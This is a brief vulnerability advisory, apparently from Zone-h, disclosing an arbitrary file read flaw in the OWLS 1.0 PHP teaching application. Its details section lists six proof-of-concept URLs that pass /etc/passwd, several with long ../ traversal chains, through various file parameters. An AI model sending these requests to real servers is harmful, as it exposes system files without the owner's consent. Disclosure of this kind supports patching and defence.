Description  
  
***********  
  
Zone-h Security Team has discovered a flaw in OWLS 1.0. There is a vulnerability in the current version of OWLS that allows an attacker to retrieve arbitrary files from the webserver with its priviledges.  
"OWLS is a web-based environment for instructors of language to easily create exercises, readings, glossaries, and present media for their students. Once installed on a web server that supports PHP,  
instructors can create materials or upload media for presentation to their students through a simple form based interface"  
  
  
Details  
  
*******   
  
  
It's possibile for a remote attacker to retrieve any file from a webserver. Multiple files are affected with this problem.  
  
For example try this:  
  
http://address/owls/glossaries/index.php?file=/etc/passwd  
  
http://address/owls/multiplechoice/index.php?file=../../../../../../../../../../../../../../../etc/passwd&view=print  
  
http://address/owls/readings/index.php?filename=/etc/passwd  
  
http://address/owls/multiplechoice/resultsignore.php?filename=/etc/passwd  
  
http://address/owls/workshop/glossary.php?editfile=../../../../../../../../../../../../../../../etc/passwd  
  
http://address/owls/workshop/newmultiplechoice.php?edit=1&editfile=../../../../../../../../../../../../../../../etc/passwd
